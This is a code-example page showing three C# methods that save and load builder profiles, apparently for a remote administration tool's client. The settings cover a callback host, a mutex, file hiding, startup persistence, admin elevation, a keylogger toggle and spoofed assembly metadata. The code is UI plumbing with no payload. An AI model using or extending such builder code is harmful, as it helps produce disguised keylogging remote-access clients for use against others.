Ejemplo n.º 1
0
 private void LoadProfile(string profilename)
 {
     ProfileManager pm = new ProfileManager(profilename + ".xml");
     txtHost.Text = pm.ReadValue("Hostname");
     txtPort.Text = pm.ReadValue("ListenPort");
     txtPassword.Text = pm.ReadValue("Password");
     txtDelay.Text = pm.ReadValue("Delay");
     txtMutex.Text = pm.ReadValue("Mutex");
     chkInstall.Checked = bool.Parse(pm.ReadValueSafe("InstallClient", "False"));
     txtInstallname.Text = pm.ReadValue("InstallName");
     GetInstallPath(int.Parse(pm.ReadValue("InstallPath"))).Checked = true;
     txtInstallsub.Text = pm.ReadValue("InstallSub");
     chkHide.Checked = bool.Parse(pm.ReadValueSafe("HideFile", "False"));
     chkStartup.Checked = bool.Parse(pm.ReadValueSafe("AddStartup", "False"));
     txtRegistryKeyName.Text = pm.ReadValue("RegistryName");
     chkElevation.Checked = bool.Parse(pm.ReadValueSafe("AdminElevation", "False"));
     chkIconChange.Checked = bool.Parse(pm.ReadValueSafe("ChangeIcon", "False"));
     chkChangeAsmInfo.Checked = bool.Parse(pm.ReadValueSafe("ChangeAsmInfo", "False"));
     chkKeylogger.Checked = bool.Parse(pm.ReadValueSafe("Keylogger", "False"));
     txtProductName.Text = pm.ReadValue("ProductName");
     txtDescription.Text = pm.ReadValue("Description");
     txtCompanyName.Text = pm.ReadValue("CompanyName");
     txtCopyright.Text = pm.ReadValue("Copyright");
     txtTrademarks.Text = pm.ReadValue("Trademarks");
     txtOriginalFilename.Text = pm.ReadValue("OriginalFilename");
     txtProductVersion.Text = pm.ReadValue("ProductVersion");
     txtFileVersion.Text = pm.ReadValue("FileVersion");
     _profileLoaded = true;
 }
Ejemplo n.º 2
0
 private void SaveProfile(string profilename)
 {
     ProfileManager pm = new ProfileManager(profilename + ".xml");
     pm.WriteValue("Hostname", txtHost.Text);
     pm.WriteValue("ListenPort", txtPort.Text);
     pm.WriteValue("Password", txtPassword.Text);
     pm.WriteValue("Delay", txtDelay.Text);
     pm.WriteValue("Mutex", txtMutex.Text);
     pm.WriteValue("InstallClient", chkInstall.Checked.ToString());
     pm.WriteValue("InstallName", txtInstallname.Text);
     pm.WriteValue("InstallPath", GetInstallPath().ToString());
     pm.WriteValue("InstallSub", txtInstallsub.Text);
     pm.WriteValue("HideFile", chkHide.Checked.ToString());
     pm.WriteValue("AddStartup", chkStartup.Checked.ToString());
     pm.WriteValue("RegistryName", txtRegistryKeyName.Text);
     pm.WriteValue("AdminElevation", chkElevation.Checked.ToString());
     pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString());
     pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString());
     pm.WriteValue("Keylogger", chkKeylogger.Checked.ToString());
     pm.WriteValue("ProductName", txtProductName.Text);
     pm.WriteValue("Description", txtDescription.Text);
     pm.WriteValue("CompanyName", txtCompanyName.Text);
     pm.WriteValue("Copyright", txtCopyright.Text);
     pm.WriteValue("Trademarks", txtTrademarks.Text);
     pm.WriteValue("OriginalFilename", txtOriginalFilename.Text);
     pm.WriteValue("ProductVersion", txtProductVersion.Text);
     pm.WriteValue("FileVersion", txtFileVersion.Text);
 }
Ejemplo n.º 3
0
 private void LoadProfile(string profilename)
 {
     ProfileManager pm = new ProfileManager(profilename + ".xml");
     var rawHosts = pm.ReadValueSafe("Hosts");
     foreach (var host in HostHelper.GetHostsList(rawHosts))
         _hosts.Add(host);
     lstHosts.DataSource = new BindingSource(_hosts, null);
     txtPassword.Text = pm.ReadValue("Password");
     txtDelay.Text = pm.ReadValue("Delay");
     txtMutex.Text = pm.ReadValue("Mutex");
     chkInstall.Checked = bool.Parse(pm.ReadValueSafe("InstallClient", "False"));
     txtInstallname.Text = pm.ReadValue("InstallName");
     GetInstallPath(int.Parse(pm.ReadValue("InstallPath"))).Checked = true;
     txtInstallsub.Text = pm.ReadValue("InstallSub");
     chkHide.Checked = bool.Parse(pm.ReadValueSafe("HideFile", "False"));
     chkStartup.Checked = bool.Parse(pm.ReadValueSafe("AddStartup", "False"));
     txtRegistryKeyName.Text = pm.ReadValue("RegistryName");
     chkElevation.Checked = bool.Parse(pm.ReadValueSafe("AdminElevation", "False"));
     chkIconChange.Checked = bool.Parse(pm.ReadValueSafe("ChangeIcon", "False"));
     chkChangeAsmInfo.Checked = bool.Parse(pm.ReadValueSafe("ChangeAsmInfo", "False"));
     chkKeylogger.Checked = bool.Parse(pm.ReadValueSafe("Keylogger", "False"));
     txtProductName.Text = pm.ReadValue("ProductName");
     txtDescription.Text = pm.ReadValue("Description");
     txtCompanyName.Text = pm.ReadValue("CompanyName");
     txtCopyright.Text = pm.ReadValue("Copyright");
     txtTrademarks.Text = pm.ReadValue("Trademarks");
     txtOriginalFilename.Text = pm.ReadValue("OriginalFilename");
     txtProductVersion.Text = pm.ReadValue("ProductVersion");
     txtFileVersion.Text = pm.ReadValue("FileVersion");
     _profileLoaded = true;
 }